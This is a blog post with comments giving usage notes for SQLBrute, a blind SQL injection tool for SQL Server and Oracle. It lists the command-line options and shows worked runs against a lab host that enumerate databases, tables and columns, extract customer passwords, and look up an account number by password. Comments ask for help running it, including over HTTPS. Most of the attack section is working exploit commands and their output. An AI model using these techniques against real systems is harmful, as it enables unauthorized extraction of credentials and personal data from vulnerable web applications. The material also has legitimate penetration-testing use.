Update - An update to SQLBrute (version 1.0) has been released (including a Windows binary version). This is probably going to be the final version in Python - I've started rewriting the tool as a Windows GUI application in .NET, so look forward to a point-and-brute-force version soon.
Since SQLBrute has been linked to from the Oedipus Web Scanner as a possible exploit tool, I thought I might write some basic usage notes for it... especially since the tool is not at all idiot proof...as evidenced by the fact that I sometimes have trouble running it.SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn't require non-standard libraries (there is some code in there for pycurl, but it is disabled because it isn't finished).
For error based SQL injection, SQLBrute should work, if you can either:
- Get an identifiable difference between adding the exploit strings AND 1=1 and AND 1=2 to your SQL injection point (usually works if the query is normally valid)
- Get an identifiable difference between adding the exploit strings OR 1=1 and OR 1=2 to your SQL injection point (usually works if the query is normally invalid)
Here is the options printed from SQLBrute when you run it with no options:
| SQL command line options |
___ _____ __ ____ ____ __ __ ____ ____
/ __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___)
\__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__)
(___/(___/\\(____)(____/(_)\_)(______) (__) (____)
Usage: ./sqlbrute.py options url
[--help|-h]
[--verbose|-v]
[--server|-d oracle|sqlserver]
[--error|-e regex]
[--threads|-s number]
[--cookie|-k string]
[--time|-n]
[--data|-p string]
[--database|-f database]
[--table|-t table]
[--column|-c column]
[--where|-w column=data]
[--header|-x header::val]
|
The only required command line option is the URL. If the vulnerable parameter is on the URL (i.e. in the querystring), that parameter needs to be on the end of the URL and in a format that SQL can be added on the end (i.e. param=foo' is sufficient in a lot of cases).
If the vulnerable parameter is in the POST data, you need to specify a --data option (see below), and have the vulnerable parameter at the end (as for a URL parameter, including a single quote or whatever is needed for the SQL injection point). The tool assumes that it can terminate the SQL using --, and also assumes that you're not going to be exploiting querystring variables on a POST.
Several of the options are for including required information in the requests to the server. You may need to wrap arguments in double quotes because of spaces and special characters in the data:
- --data allows you to specify POST data for a form post. Takes a string containing all the data as an argument
- --cookie allows you to specify the cookies to be supplied. Takes a string containing all the cookies as an argument
- --header allows you to specify arbitrary HTTP headers to include in the request (e.g. Accepts headers or similar). The header name and value need to be supplied as a single argument of the form header::value
- --server forces the tool to use Oracle or SQL Server exploit techniques. This is needed because the tool defaults to SQL Server, and won't intelligently detect that Oracle is in use
- --threads specifies how many worker threads the tool will use to send requests. This defaults to 5, however this should be reduced if you are getting unreliable results (especially when doing time based testing). Setting this too high has a tendency to max the CPU on your machine, and have bad effects on the machine you're testing
- --time forces the tool to use time based testing instead of error based testing
- --verbose turns on verbose output. By default the tool doesn't output anything until it has completely enumerated an entry, which can lead to wondering whether it is actually doing anything. Using verbose once will output preliminary results - allowing you to see that its working. Using verbose twice will output requests and responses to allow debug issues with the tool
- --output allows us to specify an output file for the results. Otherwise the only results we will get will be to stdout
- --error specifies a regular expression to look for that appears in one of the AND or OR cases noted above. Usually this will be something identifiable such as an error message, or a message noting that no results were found
- --database (SQL Server only) specifies what database to use for enumerating data
- --table specifies what table to use for enumerating data
- --column specifies what column to use for enumerating data
- --where allows us to filter what data to brute force out by specifying a WHERE clause when enumerating a column. The where data must be in the form column_name=data (i.e. WHERE foo=bar)
- Running the tool without specifying a database, table, or column parameter will enumerate the list of databases for SQL Server, and the list of user tables for Oracle
- Running the tool with the name of a database (SQL Server only) will enumerate the list of tables
- Running the tool with a table parameter (plus database parameter for SQL Server) will enumerate the columns in that table
- Running the tool with a column parameter (with table and database parameters if applicable) will enumerate the data in that column of that parameter. You can then find matching values in other columns of the table through using a --where command line option
| Enumerating databases |
./sqlbrute.py --data "searchtype=county&county=GM'" \ --error "NO RESULTS" http://192.168.182.128/locator.asp This program will currently exit 60 seconds after the last response comes in. Found: msdb Found: pubs Found: model Found: tempdb Found: master Found: webapp |
| Enumerating tables |
./sqlbrute.py --data "searchtype=county&county=GM'" \ --error "NO RESULTS" --database webapp \ http://192.168.182.128/locator.asp This program will currently exit 60 seconds after the last response comes in. Found: myview Found: locator Found: customer Found: postings Found: responses Found: dtproperties Found: fresh_postings Found: fresh_responses |
| Enumerating columns |
./sqlbrute.py --data "searchtype=county&county=GM'" \ --error "NO RESULTS" --database webapp --table customer \ http://192.168.182.128/locator.asp This program will currently exit 60 seconds after the last response comes in. Found: city Found: email Found: lname Found: fname Found: mname Found: phone Found: endbal Found: county Found: begbal Found: address Found: custnum Found: deposits Found: password Found: postcode Found: withdrawals |
| Enumerating passwords |
./sqlbrute.py --data "searchtype=county&county=GM'" \ --error "NO RESULTS" --database webapp --table customer \ --column password http://192.168.182.128/locator.asp This program will currently exit 60 seconds after the last response comes in. Found: dog Found: test Found: hawk Found: loki Found: fish Found: buzz <Control-C hit at this point> |
| Enumerating the customer number for a specific password |
./sqlbrute.py --data "searchtype=county&county=GM'" \ --error "NO RESULTS" --database webapp --table customer \ --column custnum --where password=dog \ http://192.168.182.128/locator.asp This program will currently exit 60 seconds after the last response comes in. Found: 1.036512520000000e+008 |
Note in the above example, the customer number is numeric. Due to the conversion used in the tool, it is shown in scientific notation (i.e. it is actually 103651252).
And we're done. Enjoy!
Found this useful? Then Digg It.

Comments (11)
Keep up the great work on your blog. Best wishes WaltDe
Posted by WaltDe | September 1, 2006 5:10 AM
Posted on September 1, 2006 05:10
in other case, i used perl to create sql injection tools, and i think i do not need
to brute force the target, coz we just need
the right query to steal any data from database,
see my blog below for example demos :
iko94.blogspot.com
:)
Posted by b1ma | December 21, 2006 6:40 AM
Posted on December 21, 2006 06:40
Awesome tool Justin! Is there any tool that can perform this style of attacks for web services? I couldn't find any...so I've started writing one myself! ;)
-Rajat.
Posted by rajat swarup | May 17, 2007 1:20 AM
Posted on May 17, 2007 01:20
hii this is a nice tool
Posted by ajay | June 22, 2007 6:28 AM
Posted on June 22, 2007 06:28
really nice one... gonna test it :) good job btw...
Cizarr
Posted by cizarr | August 26, 2007 1:47 PM
Posted on August 26, 2007 13:47
How do i run it?
Posted by Anonymous | February 3, 2008 3:23 AM
Posted on February 3, 2008 03:23
It's a command line tool - you run it from the command interpreter (cmd.exe) in Windows, or the shell in Unix (sh, bash, ksh whatever).
Posted by Justin Clarke | February 4, 2008 10:30 PM
Posted on February 4, 2008 22:30
I tried it, but it does not seem working !!
Posted by pra__ | May 27, 2008 4:15 AM
Posted on May 27, 2008 04:15
great work , thank you man .
Posted by Djamel | June 12, 2008 5:27 PM
Posted on June 12, 2008 17:27
hello justin clark, I have a problem using your tool in a secure page (https) would like to know if you have support for these pages and as I do the injections?
Posted by juan safina | June 19, 2008 8:04 PM
Posted on June 19, 2008 20:04
If your python distribution supports SSL, SQLBrute supports SSL. This is easier to do on Linux - you just need to install the SSL support for python. On Windows, this is a lot harder.
What python distro are you using? Or, are you using the compiled version? If using the compiled version, it doesn't have SSL support compiled in.
Posted by Justin Clarke | June 20, 2008 1:31 PM
Posted on June 20, 2008 13:31